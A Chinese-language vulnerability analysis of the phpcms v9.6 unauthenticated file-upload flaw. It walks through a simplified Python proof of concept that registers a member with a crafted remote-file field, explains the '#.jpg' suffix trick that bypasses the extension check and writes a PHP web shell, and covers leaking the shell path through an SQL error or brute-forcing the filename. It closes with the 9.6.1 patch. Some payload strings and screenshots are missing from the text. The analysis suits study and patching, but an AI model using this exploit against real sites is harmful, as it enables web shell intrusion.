0x00 漏洞概述漏洞簡(jiǎn)介
前幾天 phpcms v9.6 的任意文件上傳的漏洞引起了安全圈熱議，通過(guò)該漏洞攻擊者可以在未授權(quán)的情況下任意文件上傳，影響不容小覷。phpcms官方今天發(fā)布了9.6.1版本，對(duì)漏洞進(jìn)行了補(bǔ)丁修復(fù).
漏洞影響
任意文件上傳
0x01 漏洞復(fù)現(xiàn)
本文從 PoC 的角度出發(fā)，逆向的還原漏洞過(guò)程，若有哪些錯(cuò)誤的地方，還望大家多多指教。
首先我們看簡(jiǎn)化的 PoC ：
import re import requestsdef poc(url): u = '{}/index.php?m=member&c=index&a=register&siteid=1'.format(url) data = { 'siteid': '1', 'modelid': '1', 'username': 'test', 'password': 'testxx', 'email': '[email protected]', 'info[content]': '
', 'dosubmit': '1', } rep = requests.post(u, data=data) shell = '' re_result = re.findall(r'
', rep.content) if len(re_result): shell = re_result[0] print shell
可以看到 PoC 是發(fā)起注冊(cè)請(qǐng)求，對(duì)應(yīng)的是 phpcms/modules/member/index.php 中的 register 函數(shù)，所以我們?cè)谀抢锵聰帱c(diǎn)，接著使用 PoC 并開(kāi)啟動(dòng)態(tài)調(diào)試，在獲取一些信息之后，函數(shù)走到了如下位置：
通過(guò) PoC 不難看出我們的 payload 在 $_POST['info'] 里，而這里對(duì) $_POST['info'] 進(jìn)行了處理，所以我們有必要跟進(jìn)。
在使用 new_html_special_chars 對(duì) <> 進(jìn)行編碼之后，進(jìn)入 $member_input->get 函數(shù)，該函數(shù)位于 caches/caches_model/caches_data/member_input.class.php 中，接下來(lái)函數(shù)走到如下位置：
由于我們的 payload 是 info[content] ，所以調(diào)用的是 editor 函數(shù)，同樣在這個(gè)文件中：
接下來(lái)函數(shù)執(zhí)行 $this->attachment->download 函數(shù)進(jìn)行下載，我們繼續(xù)跟進(jìn)，在 phpcms/libs/classes/attachment.class.php 中：
function download($field, $value,$watermark = '0',$ext = 'gif|jpg|jpeg|bmp|png', $absurl = '', $basehref = '') { global $image_d; $this->att_db = pc_base::load_model('attachment_model'); $upload_url = pc_base::load_config('system','upload_url'); $this->field = $field; $dir = date('Y/md/'); $uploadpath = $upload_url.$dir; $uploaddir = $this->upload_root.$dir; $string = new_stripslashes($value); if(!preg_match_all("/(href|src)=([\"|']?)([^ \"'>]+\.($ext))\\2/i", $string, $matches)) return $value; $remotefileurls = array(); foreach($matches[3] as $matche) { if(strpos($matche, '://') === false) continue; dir_create($uploaddir); $remotefileurls[$matche] = $this->fillurl($matche, $absurl, $basehref); } unset($matches, $string); $remotefileurls = array_unique($remotefileurls); $oldpath = $newpath = array(); foreach($remotefileurls as $k=>$file) { if(strpos($file, '://') === false || strpos($file, $upload_url) !== false) continue; $filename = fileext($file); $file_name = basename($file); $filename = $this->getname($filename); $newfile = $uploaddir.$filename; $upload_func = $this->upload_func; if($upload_func($file, $newfile)) { $oldpath[] = $k; $GLOBALS['downloadfiles'][] = $newpath[] = $uploadpath.$filename; @chmod($newfile, 0777); $fileext = fileext($filename); if($watermark){ watermark($newfile, $newfile,$this->siteid); } $filepath = $dir.$filename; $downloadedfile = array('filename'=>$filename, 'filepath'=>$filepath, 'filesize'=>filesize($newfile), 'fileext'=>$fileext); $aid = $this->add($downloadedfile); $this->downloadedfiles[$aid] = $filepath; } } return str_replace($oldpath, $newpath, $value);}
函數(shù)中先對(duì) $value 中的引號(hào)進(jìn)行了轉(zhuǎn)義，然后使用正則匹配：
$ext = 'gif|jpg|jpeg|bmp|png';...$string = new_stripslashes($value);if(!preg_match_all("/(href|src)=([\"|']?)([^ \"'>]+\.($ext))\\2/i",$string, $matches)) return $value;
這里正則要求輸入滿(mǎn)足 src/href=url.(gif|jpg|jpeg|bmp|png) ，我們的 payload (
)符合這一格式(這也就是為什么后面要加 .jpg 的原因)。
接下來(lái)程序使用這行代碼來(lái)去除 url 中的錨點(diǎn)： $remotefileurls[$matche] = $this->fillurl($matche, $absurl, $basehref); ，處理過(guò)后 $remotefileurls 的內(nèi)容如下：
{C}
可以看到 #.jpg 被刪除了，正因如此，下面的 $filename = fileext($file); 取的的后綴變成了 php ，這也就是 PoC 中為什么要加 # 的原因： 把前面為了滿(mǎn)足正則而構(gòu)造的 .jpg 過(guò)濾掉，使程序獲得我們真正想要的 php 文件后綴。
我們繼續(xù)執(zhí)行：
程序調(diào)用 copy 函數(shù)，對(duì)遠(yuǎn)程的文件進(jìn)行了下載，此時(shí)我們從命令行中可以看到文件已經(jīng)寫(xiě)入了：
shell 已經(jīng)寫(xiě)入，下面我們就來(lái)看看如何獲取 shell 的路徑，程序在下載之后回到了 register 函數(shù)中：
可以看到當(dāng) $status > 0 時(shí)會(huì)執(zhí)行 SQL 語(yǔ)句進(jìn)行 INSERT 操作，具體執(zhí)行的語(yǔ)句如下：
也就是向 v9_member_detail 的 content 和 userid 兩列插入數(shù)據(jù)，我們看一下該表的結(jié)構(gòu)：
因?yàn)楸碇胁](méi)有 content 列，所以產(chǎn)生報(bào)錯(cuò)，從而將插入數(shù)據(jù)中的 shell 路徑返回給了我們：
上面我們說(shuō)過(guò)返回路徑是在 $status > 0 時(shí)才可以，下面我們來(lái)看看什么時(shí)候 $status <= 0，在 phpcms/modules/member/classes/client.class.php 中：
幾個(gè)小于0的狀態(tài)碼都是因?yàn)橛脩?hù)名和郵箱，所以在 payload 中用戶(hù)名和郵箱要盡量隨機(jī)。
另外在 phpsso 沒(méi)有配置好的時(shí)候 $status 的值為空，也同樣不能得到路徑。
在無(wú)法得到路徑的情況下我們只能爆破了，爆破可以根據(jù)文件名生成的方法來(lái)爆破：
僅僅是時(shí)間加上三位隨機(jī)數(shù)，爆破起來(lái)還是相對(duì)容易些的。
0x02 補(bǔ)丁分析
phpcms 今天發(fā)布了9.6.1版本，針對(duì)該漏洞的具體補(bǔ)丁如下：
在獲取文件擴(kuò)展名后再對(duì)擴(kuò)展名進(jìn)行檢測(cè)
0x03 參考 https://www.seebug.org/vuldb/ssvid-92930 [漏洞預(yù)警]PHPCMSv9前臺(tái)GetShell (2017/04/09)
| 
